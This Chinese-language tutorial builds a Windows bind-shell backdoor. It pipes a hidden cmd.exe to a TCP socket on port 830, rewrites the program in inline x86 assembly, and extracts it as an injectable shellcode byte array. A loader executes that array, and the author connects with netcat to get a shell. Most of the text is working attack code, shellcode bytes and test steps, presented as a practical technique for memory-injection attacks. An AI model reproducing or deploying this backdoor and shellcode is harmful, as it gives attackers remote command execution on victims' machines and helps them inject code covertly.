本文将介绍如何将CMD
绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的ShellCode
后门,并以此提高代码通用性。最终,我们将通过一个实际的漏洞攻击场景来展示如何利用这个后门实现内存注入攻击。
首先管道(Pipe)
是一种IPC机制,用于在同一台计算机上进行进程间通信。它可以让一个进程将数据写入到管道中,然后另一个进程可以从管道中读取这些数据。一般而言管道可以分为匿名管道(Anonymous Pipe)
或命名管道(Named Pipe)
两种形式。
在实现中,管道通常是由操作系统提供的一段共享内存区域。在管道创建时,操作系统会为管道分配一段内存区域,该内存区域由创建管道的进程和与其通信的进程共享。当进程往管道中写入数据时,数据会被存储在管道的内存缓冲区中,然后等待另一个进程从管道中读取数据。当另一个进程读取管道中的数据时,数据将从内存缓冲区中被读取并且被删除,从而保证数据传输的正确性和可靠性。
【资料图】
有了管道的支持,我们向其他进程传输数据时就可像对普通文件读写那样简单。管道操作的标识符是HANDLE
句柄,当管道被正确创建时则,我们可以直接使用ReadFile、WriteFile
等文件读写函数来读写它,读者无需了解网络间进程间通信的细节部分;
一般匿名管道的创建需要调用CreatePipe()
函数实现,它可以创建一个管道,并返回两个句柄,一个用于读取管道数据,另一个用于写入管道数据。
CreatePipe函数的语法如下:
BOOL CreatePipe( PHANDLE hReadPipe, // 读取管道数据的句柄指针 PHANDLE hWritePipe, // 写入管道数据的句柄指针 LPSECURITY_ATTRIBUTES lpPipeAttributes, // 指向安全属性结构的指针 DWORD nSize // 管道缓冲区大小,若为0则使用默认大小);
其中,hReadPipe
和hWritePipe
是PHANDLE
类型的指针,用于接收读取和写入管道的句柄。lpPipeAttributes
是指向SECURITY_ATTRIBUTES
结构的指针,用于指定管道的安全属性,通常设置为NULL
。nSize
是管道缓冲区的大小,若为0则使用默认大小。在使用CreatePipe
函数创建匿名管道后,读者可以使用WriteFile
函数往管道中写入数据,也可以使用ReadFile
函数从管道中读取数据。读取和写入管道的操作需要使用相应的句柄。
小提示:匿名管道只能在具有亲缘关系的进程之间使用,即父子进程或兄弟进程,通过设置
CreateProcess
函数中的bInheritHandles
属性为True
则可实现父子进程,如果需要在不同的进程之间使用管道进行通信,则应该使用命名管道。
接着来简单介绍一下CreateProcess
函数,该函数用于创建一个新的进程,返回值非0表示成功,为0表示失败。为了让2个进程产生父子及继承关系,参数bInheritHandles
应设置为True,该函数的原型如下所示;
BOOL CreateProcess( LPCWSTR lpApplicationName, // 可执行文件名或者命令行 LPWSTR lpCommandLine, // 命令行参数 LPSECURITY_ATTRIBUTES lpProcessAttributes,// 进程安全属性 LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性 BOOL bInheritHandles, // 是否继承父进程的句柄 DWORD dwCreationFlags, // 进程创建标志 LPVOID lpEnvironment, // 新进程的环境块指针 LPCWSTR lpCurrentDirectory, // 新进程的工作目录 LPSTARTUPINFO lpStartupInfo, // STARTUPINFO 结构体指针 LPPROCESS_INFORMATION lpProcessInformation// PROCESS_INFORMATION 结构体指针);
实现匿名管道通信,我们还需要了解最后一个函数PeekNamedPipe
,该函数用于检查命名管道中的是否有数据,函数返回值为BOOL
类型,如果函数调用成功,则返回TRUE
,否则返回FALSE
该函数的原型定义如下所示;
BOOL PeekNamedPipe( HANDLE hNamedPipe, // 命名管道的句柄 LPVOID lpBuffer, // 存储读取数据的缓冲区 DWORD nBufferSize, // 缓冲区的大小 LPDWORD lpBytesRead, // 实际读取的字节数 LPDWORD lpTotalBytesAvail, // 管道中可用的字节数 LPDWORD lpBytesLeftThisMessage // 下一条消息剩余的字节数);
在调用成功的情况下,lpBytesRead
参数返回实际读取的字节数,lpTotalBytesAvail
参数返回管道中可用的字节数,lpBytesLeftThisMessage
参数返回下一条消息剩余的字节数。如果命名管道为空,则函数会阻塞等待数据到来,当接收到数据时则读者即可通过调用ReadFile
在管道中读取数据,或调用WriteFile
来向管道写入数据,至此关键的API函数已经介绍完了;
其实匿名管道反弹CMD的工作原理可以理解为,首先攻击机发命令并通过Socket
传给目标机的父进程,目标机的父进程又通过一个匿名管道传给子进程,这里的子进程是cmd.exe
,CMD执行命令后,把结果通过另一个匿名管道返给父进程,父进程最后再通过Socket
返回给攻击机,以此则实现了反弹Shell的目的;
接着我们就来实现这个双向匿名管道功能,在实现管道之前需要先建立套接字,首先使用WSAStartup
函数初始化Winsock
库,并使用socket
函数创建一个套接字。然后,使用bind
函数将套接字绑定到特定的IP地址和端口号。listen
函数将套接字设置为侦听传入的连接,而accept
函数会一直阻塞直到建立客户端连接。一旦连接建立,代码会返回客户端的套接字描述符clientFD。
WSADATA ws;SOCKET listenFD;char Buff[1024];int ret;// 初始化网络通信库WSAStartup(MAKEWORD(2, 2), &ws);// 建立Socket套接字listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);// 配置通信协议属性,并监听本机830端口struct sockaddr_in server;server.sin_family = AF_INET;server.sin_port = htons(830);server.sin_addr.s_addr = ADDR_ANY;// 开始绑定套接字ret = bind(listenFD, (sockaddr *)&server, sizeof(server));// 侦听套接字链接ret = listen(listenFD, 2);// 接受一个连接int iAddrSize = sizeof(server);SOCKET clientFD = accept(listenFD, (sockaddr *)&server, &iAddrSize);
有了套接字功能,则第二步需要创建两个PIPE
管道,其中第一个管道用于输出执行结果,第二个管道用于输入命令,把CMD子进程输出句柄用管道1的写句柄替换,此时主进程就可以通过读管道1的读句柄来获得输出;另外,我们还要把CMD子进程的输入句柄用2的读句柄替换,此时主进程就可以通过写管道2的写句柄来输入命令。
其通信过程如下:
(远程主机)←输入←管道1输出←管道1输入←输出(CMD子进程)(远程主机)→输出→管道2输入→管道2输出→输入(CMD子进程)SECURITY_ATTRIBUTES pipeattr1, pipeattr2;HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2; // 建立匿名管道1pipeattr1.nLength = 12;pipeattr1.lpSecurityDescriptor = 0;pipeattr1.bInheritHandle = true;CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0); // 建立匿名管道2pipeattr2.nLength = 12;pipeattr2.lpSecurityDescriptor = 0;pipeattr2.bInheritHandle = true;CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);
为了得到上述绑定效果,我们在设置CMD子进程STARTUPINFO
启动参数时就应该做好绑定工作,通过填入如下所示的变量值,并调用CreateProcess
实现对进程的绑定,通过替换进程的输出句柄为管道1的写句柄,输入句柄为管道2的读句柄。最后再开启CMD命令就实现了绑定功能,代码如下所示;
// 填充所需参数实现子进程与主进程通信STARTUPINFO si;ZeroMemory(&si, sizeof(si));si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;si.wShowWindow = SW_HIDE;si.hStdInput = hReadPipe2;si.hStdOutput = si.hStdError = hWritePipe1; char cmdLine[] = "cmd.exe";PROCESS_INFORMATION ProcessInformation;// 建立进程绑定参数ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
当CMD子进程启动后,则下一步则是和远程攻击机之间建立通信,如下代码通过使用PeekNamedPipe
和recv
函数不断检查从远程客户端或CMD进程接收到的数据。如果从CMD进程中有可读数据,则使用ReadFile
函数读取该数据并使用send
函数发送回远程客户端。如果没有数据可读,则程序接收从远程客户端发来的命令,并将命令写入管道2,即传给CMD进程。这个过程不断循环执行,直到出现错误或收到退出命令。
unsigned long lBytesRead;while (1){ // 检查管道1 即CMD进程是否有输出 ret = PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0); if (lBytesRead) { //管道1有输出 读出结果发给远程客户机 ret = ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0); if (!ret) { break; } ret = send(clientFD, Buff, lBytesRead, 0); if (ret <= 0) { break; } } else { // 否则接收远程客户机的命令 lBytesRead = recv(clientFD, Buff, 1024, 0); if (lBytesRead <= 0) { break; } // 将命令写入管道2 即传给cmd进程 ret = WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0); if (!ret) { break; } }}
如上代码所示就是完整的双向匿名管道的实现原理,我们通过整合并编译,打开编译后的可执行程序,此时读者可使用netcat
工具执行nc 127.0.0.1 830
则可连接到该后门内部,并以此获得一个Shell后门,此时读者可执行任意命令,输出效果如下图所示;
在之前文章中我们介绍了如何使用C语言创建一个双管道通信后门,而对于在实战中,往往需要直接注入后门到内存,此时将后门转换为ShellCode
是一个不错的选择,首先为了保证文章的篇幅不宜过长,此处暂且不考虑生成汇编代码的通用性,首先我们需要得到在当前系统中所需要使用的函数的动态地址,至于如何提取这些动态地址,在之前的文章通用ShellCode
提取中有过详细的介绍,此处我们就直接给出实现代码;
#include #include typedef void(*MyProcess)(LPSTR);int main(int argc, char *argv[]){ HINSTANCE KernelHandle; HINSTANCE WS2Handle; MyProcess ProcAddr; KernelHandle = LoadLibrary(L"kernel32"); printf("kernel32 address = 0x%x\n", KernelHandle); WS2Handle = LoadLibrary(L"ws2_32"); printf("ws2_32 address = 0x%x\n\n", WS2Handle); CHAR *FuncList[13] = { "CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess", "WSAStartup", "socket", "bind", "listen", "accept", "send", "recv" }; for (size_t i = 0; i < 13; i++) { if (i < 6) { // 输出kerlen32中的参数 ProcAddr = (MyProcess)GetProcAddress(KernelHandle, FuncList[i]); printf("%s = 0x%x \n", FuncList[i], ProcAddr); } else { // 输出ws2中的参数 ProcAddr = (MyProcess)GetProcAddress(WS2Handle, FuncList[i]); printf("%s = 0x%x \n", FuncList[i], ProcAddr); } } system("pause"); return 0;}
当读者运行这段程序时,则会输出kernel32.dll
及ws2_32.dll
的模块基址,同时还会输出"CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess","WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"
这些我们所需要的函数的内存地址,输出效果如下图所示;
接着我们需要将这些函数内存地址依次填充到汇编代码中,将其动态压入堆栈保存,如下是笔者填充过的汇编代码片段,此处的十六进制数读者电脑中的与笔者一定不一致,请读者自行替换即可;
mov eax,0x763e2d70mov [ebp+4], eax; CreatePipemov eax,0x763e2d90mov [ebp+8], eax; CreateProcessAmov eax,0x763e4140mov [ebp+12], eax; PeekNamedPipemov eax,0x763d35b0mov [ebp+16], eax; WriteFilemov eax,0x763d34c0mov [ebp+20], eax; ReadFilemov eax,0x763d4100mov [ebp+24], eax; ExitProcessmov eax,0x76c29cc0mov [ebp+28], eax; WSAStartupmov eax,0x76c2c990mov [ebp+32], eax; socketmov eax,0x76c2d890mov [ebp+36], eax; bindmov eax,0x76c35d90mov [ebp+40], eax; listenmov eax,0x76c369c0mov [ebp+44], eax; acceptmov eax,0x76c358a0mov [ebp+48], eax; sendmov eax,0x76c323a0mov [ebp+52], eax; recv
小提示:STDcall是一种调用约定,用于指定函数参数的传递方式、函数返回值的处理方式以及函数调用后堆栈的清理方式,它在Windows平台上广泛使用。该调用规定,函数的参数从右到左依次入栈,函数返回值存储在EAX寄存器中。在函数调用后,由调用方负责清理堆栈上的参数,因此被调用函数不需要执行额外的堆栈清理操作。
在源程序的第一句指令,是执行WSAStartup(0x202, &ws)
。我们按照32位
下函数的STDCALL
调用规范,首先将参数从右至左依次压入栈中,其中该函数的第二个参数&ws
表示一个地址,因为WS地址已经不再使用了,所以此处我们就随意压入一个地址即可(比如ESP的值)
,第一个参数时0x202
则此时我们直接使用push 0x202
压入,至此函数的参数已经填充完毕了,接下来则是调用该函数,因WSAStartup
的地址保存在[ebp+28]
中,所以我们通过call [ebp+28]
就可以调用到该地址啦。
push esppush 0x202call [ebp + 28] // WSAStartup地址
接着是原程序中的第二个函数Socket(2,1,6)
读者需要先将6、1、2
依次入栈,最后再call socket
的地址,也就是调用[ebp + 32]
即可实现调用。
; socket(2,1,6)push 6push 1push 2call [ebp + 32]mov ebx, eax // 将套接字保存到EBX中
读者是否会有疑问,此处为什么会传递这些参数呢,读者可在源程序的开头位置设置断点,并打开反汇编窗口,观察建立Socket
的参数传递情况,即可一目了然;
接着我们继续提取第三个关键函数Bind()
绑定函数,相比于前两个函数而言,绑定函数要显得更加复杂一些,原因是该函数需要填充一个sockaddr_in
的结构体变量,所以在填充参数之前还需要具体分析;
struct sockaddr_in server;server.sin_family = AF_INET;server.sin_port = htons(830);server.sin_addr.s_addr=ADDR_ANY;ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
我们还是借助VS工具,在bind()
函数上下断点,并打开反汇编窗口(Ctrl+Alt+D),观察编译器是如何编译处理的,如下图所示;
高级语言执行bind
时,首先是将0x10
入栈,说明sizeof(server)
的参数传递其实就是0x10
第二个参数&server
是sockaddr_in
结构的地址。在sockaddr_in
结构中,包括了绑定的协议、IP、端口号
等值。和在堆栈中构造字符串一样,我们也在栈中构造出sockaddr_in
的结构,那么esp
就是sockaddr_in
结构的地址了。
为了能够更好的提取到第二个参数的压入信息,我们需要将调试器运行到listen(listenFD, 2)
处,并打开内存窗口,输出&server
跳转到当前结构体填充位置处,读者可看到如下内存数据;
从上图中可看出,如下执行后其实就是得到了02 00 03 3E 00 00 00 00
,知道了确切要赋的值,我们就依葫芦画瓢,开始压栈push 0x0000,push 0x0000,push 0x3E030002
此时我们就在堆栈中构造出了sockaddr_in
结构的值,而且esp
就正好是结构的地址。我们把它保存给esi
作为第二个参数压入堆栈。
好了,剩下就简单了,最后一个参数是socket
。上面执行了socket()
后,我们把socket
的值保存在了ebx
中,所以将ebx
压入就可以了。最后call
调用函数。bind
函数地址存放在[ebp + 36]
中,将这段汇编代码结合起来就像如下所示。
; bind(listenFD,(sockaddr *)&server,sizeof(server));xor edi,edi // 先构造serverpush edipush edimov eax,0x3E030002; port 830 AF_INETpush eaxmov esi, esp // 把server地址赋给esipush 0x10 ; lengthpush esi ; &serverpush ebx ; socketcall [ebp + 36] ; bind
好了根据上述方法,读者需要依次跟踪代码执行流程,并嫁给你所需要的参数依次提取出来,最终将这些参数组合在一起,即可得到如下方所示的一段汇编代码片段;
#include #include int main(int argc, char *argv[]){ LoadLibrary("kernel32.dll"); LoadLibrary("ws2_32.dll"); __asm { push ebp; sub esp, 80; mov ebp, esp; // 替换所需函数地址 mov eax, 0x763e2d70 mov[ebp + 4], eax; CreatePipe mov eax, 0x763e2d90 mov[ebp + 8], eax; CreateProcessA mov eax, 0x763e4140 mov[ebp + 12], eax; PeekNamedPipe mov eax, 0x763d35b0 mov[ebp + 16], eax; WriteFile mov eax, 0x763d34c0 mov[ebp + 20], eax; ReadFile mov eax, 0x763d4100 mov[ebp + 24], eax; ExitProcess mov eax, 0x76c29cc0 mov[ebp + 28], eax; WSAStartup mov eax, 0x76c2c990 mov[ebp + 32], eax; socket mov eax, 0x76c2d890 mov[ebp + 36], eax; bind mov eax, 0x76c35d90 mov[ebp + 40], eax; listen mov eax, 0x76c369c0 mov[ebp + 44], eax; accept mov eax, 0x76c358a0 mov[ebp + 48], eax; send mov eax, 0x76c323a0 mov[ebp + 52], eax; recv mov eax, 0x0 mov[ebp + 56], 0 mov[ebp + 60], 0 mov[ebp + 64], 0 mov[ebp + 68], 0 mov[ebp + 72], 0 LWSAStartup: ; WSAStartup(0x202, DATA) sub esp, 400 push esp push 0x202 call[ebp + 28] socket: ; socket(2, 1, 6) push 6 push 1 push 2 call[ebp + 32] mov ebx, eax; save socket to ebx LBind : ; bind(listenFD, (sockaddr *)&server, sizeof(server)); xor edi, edi push edi push edi mov eax, 0x3E030002 push eax; port 830 AF_INET mov esi, esp push 0x10; length push esi; &server push ebx; socket call[ebp + 36]; bind LListen : ; listen(listenFD, 2) inc edi inc edi push edi; 2 push ebx; socket call[ebp + 40]; listen LAccept : ; accept(listenFD, (sockaddr *)&server, &iAddrSize) push 0x10 lea edi, [esp] push edi push esi; &server push ebx; socket call[ebp + 44]; accept mov ebx, eax; save newsocket to ebx Createpipe1 : ; CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0); xor edi, edi inc edi push edi xor edi, edi push edi push 0xc; pipeattr mov esi, esp push edi; 0 push esi; pipeattr1 lea eax, [ebp + 60]; &hWritePipe1 push eax lea eax, [ebp + 56]; &hReadPipe1 push eax call[ebp + 4] CreatePipe2: ; CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0); push edi; 0 push esi; pipeattr2 lea eax, [ebp + 68]; hWritePipe2 push eax lea eax, [ebp + 64]; hReadPipe2 push eax call[ebp + 4] CreateProcess: ; ZeroMemory TARTUPINFO, 10h PROCESS_INFORMATION 44h sub esp, 0x80 lea edi, [esp] xor eax, eax push 0x80 pop ecx rep stosd ; si.dwFlags lea edi, [esp] mov eax, 0x0101 mov[edi + 2ch], eax; ; si.hStdInput = hReadPipe2 ebp + 64 mov eax, [ebp + 64] mov[edi + 38h], eax ; si.hStdOutput si.hStdError = hWritePipe1 ebp + 60 mov eax, [ebp + 60] mov[edi + 3ch], eax mov eax, [ebp + 60] mov[edi + 40h], eax ; cmd.exe mov eax, 0x00646d63 mov[edi + 64h], eax; cmd ; CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation) lea eax, [esp + 44h] push eax; &pi push edi; &si push ecx; 0 push ecx; 0 push ecx; 0 inc ecx push ecx; 1 dec ecx push ecx; 0 push ecx; 0 lea eax, [edi + 64h]; "cmd" push eax push ecx; 0 call[ebp + 8] loop1: ; while1 ; PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0); sub esp, 400h; mov esi, esp; esi = Buff xor ecx, ecx push ecx; 0 push ecx; 0 lea edi, [ebp + 72]; &lBytesRead push edi mov eax, 400h push eax; 1024 push esi; Buff mov eax, [ebp + 56] push eax; hReadPipe1 call[ebp + 12] mov eax, [edi] test eax, eax jz recv_command send_result : ; ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0) xor ecx, ecx push ecx; 0 push edi; &lBytesRead push[edi]; hReadPipe1 push esi; Buff push[ebp + 56]; hReadPipe1 call[ebp + 20] ; send(clientFD, Buff, lBytesRead, 0) xor ecx, ecx push ecx; 0 push[edi]; lBytesRead push esi; Buff push ebx; clientFD call[ebp + 48] jmp loop1 recv_command : ; recv(clientFD, Buff, 1024, 0) xor ecx, ecx push ecx mov eax, 400h push eax push esi push ebx call[ebp + 52] //lea ecx,[edi] mov[edi], eax ; WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0) xor ecx, ecx push ecx push edi push[edi] push esi push[ebp + 68] call[ebp + 16] jmp loop1 end : } system("pause"); return 0;}
接下来则是提取特征码,提取时读者可以使用如下程序实现,将上方汇编代码放入到ShellCodeStart-ShellCodeEnd
区域内,运行后则可提取出特定特征码参数;
#include #include int main(int argc, char* argv[]){ DWORD Start, End, Len; goto GetShellCode; __asm { ShellCodeStart: xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx int 3 ShellCodeEnd: }GetShellCode: __asm { mov Start, offset ShellCodeStart mov End, offset ShellCodeEnd } Len = End - Start; unsigned char* newBuffer = new unsigned char[Len + 1024]; memset(newBuffer, 0, Len + 1024); memcpy(newBuffer, (unsigned char*)Start, Len); for (size_t i = 0; i < Len; i++) { printf("\\x%x", newBuffer[i]); } // 直接写出二进制 /* FILE* fp_bin = fopen("d://shellcode.bin", "wb+"); fwrite(newBuffer, Len, 1, fp_bin); _fcloseall(); // 写出Unicode格式ShellCode FILE *fp_uncode = fopen("c://un_ShellCode.txt", "wb+"); for (int x = 0; x < Len; x++) { fprintf(fp_uncode, "%%u%02x%02x", newBuffer[x + 1], newBuffer[x]); } _fcloseall(); */ system("pause"); return 0;}
运行后,则可自动提取出特征码,如下图所示;
至此请读者自行将上述ShellCode
代码替换之如下测试框架中测试;
#include #include unsigned char ShellCode[] = "\x55\x83\xec\x50\x8b\xec\xb8\x70\x2d\x3e\x76\x89\x45\x4\xb8\x90\x2d\x3e\x76""\x89\x45\x8\xb8\x40\x41\x3e\x76\x89\x45\xc\xb8\xb0\x35\x3d\x76\x89\x45""\x10\xb8\xc0\x34\x3d\x76\x89\x45\x14\xb8\x0\x41\x3d\x76\x89\x45\x18\xb8\xc0\x9c\xc2""\x76\x89\x45\x1c\xb8\x90\xc9\xc2\x76\x89\x45\x20\xb8\x90\xd8\xc2\x76\x89\x45\x24\xb8""\x90\x5d\xc3\x76\x89\x45\x28\xb8\xc0\x69\xc3\x76\x89\x45\x2c\xb8\xa0\x58\xc3\x76\x89""\x45\x30\xb8\xa0\x23\xc3\x76\x89\x45\x34\xb8\x0\x0\x0\x0\xc6\x45\x38\x0\xc6\x45\x3c""\x0\xc6\x45\x40\x0\xc6\x45\x44\x0\xc6\x45\x48\x0\x81\xec\x90\x1\x0\x0\x54\x68\x2\x2""\x0\x0\xff\x55\x1c\x6a\x6\x6a\x1\x6a\x2\xff\x55\x20\x8b\xd8\x33\xff\x57\x57\xb8\x2\x0""\x3\x3e\x50\x8b\xf4\x6a\x10\x56\x53\xff\x55\x24\x47\x47\x57\x53\xff\x55\x28\x6a\x10\x8d""\x3c\x24\x57\x56\x53\xff\x55\x2c\x8b\xd8\x33\xff\x47\x57\x33\xff\x57\x6a\xc\x8b\xf4\x57\x56""\x8d\x45\x3c\x50\x8d\x45\x38\x50\xff\x55\x4\x57\x56\x8d\x45\x44\x50\x8d\x45\x40\x50\xff\x55""\x4\x81\xec\x80\x0\x0\x0\x8d\x3c\x24\x33\xc0\x68\x80\x0\x0\x0\x59\xf3\xab\x8d\x3c\x24\xb8""\x1\x1\x0\x0\x89\x47\x2c\x8b\x45\x40\x89\x47\x38\x8b\x45\x3c\x89\x47\x3c\x8b\x45\x3c\x89\x47""\x40\xb8\x63\x6d\x64\x0\x89\x47\x64\x8d\x44\x24\x44\x50\x57\x51\x51\x51\x41\x51\x49\x51\x51""\x8d\x47\x64\x50\x51\xff\x55\x8\x81\xec\x0\x4\x0\x0\x8b\xf4\x33\xc9\x51\x51\x8d\x7d\x48\x57""\xb8\x0\x4\x0\x0\x50\x56\x8b\x45\x38\x50\xff\x55\xc\x8b\x7\x85\xc0\x74\x19\x33\xc9\x51\x57""\xff\x37\x56\xff\x75\x38\xff\x55\x14\x33\xc9\x51\xff\x37\x56\x53\xff\x55\x30\xeb\xc3\x33\xc9""\x51\xb8\x0\x4\x0\x0\x50\x56\x53\xff\x55\x34\x89\x7\x33\xc9\x51\x57\xff\x37\x56\xff\x75\x44""\xff\x55\x10\xeb\xa4";int main(int argc, char* argv[]){ LoadLibrary("kernel32.dll"); LoadLibrary("ws2_32.dll"); __asm { lea eax, ShellCode call eax } system("pause"); return 0;}
当读者运行该程序时,则会弹出服务端请求网络创建功能,此时我们的ShellCode
就算成功提取出来了,输出效果图如下所示;
关键词: